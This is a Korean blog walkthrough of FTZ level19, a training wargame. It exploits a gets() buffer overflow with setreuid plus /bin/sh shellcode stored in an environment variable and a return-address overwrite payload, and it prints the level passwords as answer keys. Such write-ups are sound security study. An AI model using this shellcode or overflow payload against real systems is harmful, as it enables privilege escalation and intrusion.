yehey's 공부 노트 \n ο(=•ω<=)ρ⌒☆

FTZ level19 풀이 본문

wargame 풀이/FTZ

FTZ level19 풀이

yehey 2020. 10. 6. 17:33
id: level19
pw: swimming in pink

 

이번에도 hint를 읽어보자

gets 함수에는 BOF 취약점이 존재하니 이를 이용하고

이번에는 setreuid 함수가 존재하지 않는다. 즉 attackme를 실행하고 쉘을 띄워도 level19로만 실행이된다.

따라서 이번에는 setreuid 기능을 포함하고, 쉘을 띄우는 쉘 코드를 이용해야한다.

 

setreuid+ 쉘을 띄우는 쉘 코드(47bytes): \x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80

 

이제 attackme를 디스어셈블해서 스택 구조를 파악해보자

 

main+9~13: ebp-40의 주소를 eax에 대입한 후 eax를 스택에 push, gets함수를 호출한다.

ebp-40의 주소는 gets의 인자 

따라서 ebp-40=buf

 

스택 구조를 그려보면 다음과 같다

ret까지 44바이트를 채워주고 ret에 환경변수의 주소를 넣어주면 된다!

 

쉘 코드를 환경변수에 등록하자.

env 명령어를 이용해 환경변수를 확인함

이제 환경변수 주소를 알아내는 코드를 작성하고

#include <stdio.h>

int main(){printf("address: %p\n",getenv("SHELL2"));}

컴파일해서 실행 후 환경변수 주소를 얻었다.

이제 ret에 환경변수 주소를 넣어 주면 된다.

payload: (python - 'print "A"*44+"\x91\xfb\xff\xbf"';cat)|./attackme

 

level20의 pw: "we are just regular guys"

'wargame 풀이 > FTZ' 카테고리의 다른 글

FTZ level20 풀이  (0) 2020.12.30
FTZ level18 풀이  (0) 2020.10.05
FTZ level17 풀이  (0) 2020.09.30
FTZ level16 풀이  (0) 2020.09.30
FTZ level15 풀이  (0) 2020.09.29
Comments